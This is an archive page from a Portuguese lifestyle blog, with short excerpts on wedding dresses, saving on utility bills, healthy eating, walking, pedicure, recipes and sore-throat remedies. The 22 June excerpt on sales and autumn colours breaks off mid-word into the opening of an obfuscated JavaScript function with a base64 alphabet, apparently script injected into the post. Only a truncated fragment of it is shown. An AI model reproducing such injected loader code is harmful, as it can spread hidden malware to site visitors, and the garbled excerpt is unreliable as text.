Jul 2, 2019 | Estilo e beleza, Teresa, Vestidos de Sonho
6 Vestidos de Noiva 2019 Escolher uma toilette, como convidada, já é uma dor de cabeça, imagino o que será escolher o vestido de noiva, por isso resolvi dar-lhe uma ajuda. O momento é super especial e, como mulher, sei que anseia encontrar o tal, aquele com que...
Jul 2, 2019 | Dicas úteis, Faça você mesmo, Sabedoria, Saúde e bem estar
Poupe no recibo da água e da luz, e seja amiga do ambiente! Cada um de nós tem a responsabilidade moral de proteger aquilo que nos foi oferecido em estado puro e que, aos poucos, temos destruído. Simples e pequenos gestos podem fazer toda a diferença num futuro...
Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar
Alimentos que devemos consumir todos os dias Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...
Jun 22, 2019 | As cores da moda, Dicas úteis, Estilo e beleza, Teresa
O que comprar em saldos? Saiba quais são as cores do outono 2019 Os saldos já estão aí e a tentação é grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jun 19, 2019 | Dicas úteis, Saúde e bem estar
Alimentos que contribuem para a tensão arterial ideal Medir a tensão arterial é um acto que todos nós devíamos fazer habitualmente para verificar se existem problemas com a nossa saúde. É realmente importante controlar os valores da tensão arterial, até porque...
Jun 16, 2019 | Estilo e beleza, perder peso, Saúde e bem estar, Teresa
Quantas calorias queimamos numa caminhada? Andar a pé é dos melhores exercícios que podemos fazer. Melhora a circulação sanguínea, o comportamento cardiovascular e previne a osteoporose e outras doenças crónicas. Bastam 30 minutos por dia! E como se não bastasse...
Jun 14, 2019 | Dicas úteis, Estilo e beleza, Faça você mesmo
Pedicura em casa? Passo a passo Eu sei que nada substitui a ida ao nosso espaço de beleza preferido, arranjar os pés, com tudo a que temos direito, incluindo uma bela massagem relaxante, se a pedicura for boa e simpática. Mas se por algum motivo não o pode fazer,...
Jun 11, 2019 | À descoberta, Equilíbrio, Saúde e bem estar
Receita de mousse de fruta com sementes de goji e girassol Com a chegada dos dias de calor, todos preferimos sobremesas frescas, verdade? Eu confesso que sim. E nada melhor do que comer esta mousse de frutas, e já lhe digo porquê! Esta mousse é muito pouco calórica,...
Jun 9, 2019 | Equilíbrio, Saúde e bem estar
Sumo de frutos vermelhos rico em antioxidantes Já lhe dei muitas vezes este conselho e não me canso de repeti-lo: devemos ter uma alimentação variada e equilibrada, comendo de tudo um pouco. O importante é ter peso e medida, como se costuma dizer! Já o consumo de...
Jun 6, 2019 | Dicas úteis, Saúde e bem estar, Teresa
6 Truques para aliviar a dor de garganta As dores de garganta não têm estação do ano, nem hora, para aparecerem. A avó, a tia ou mesmo a mãe, tinham sempre soluções naturais que aliviavam a dor, mas muitas de nós já nos esquecemos delas. Claro que nenhuma destas...
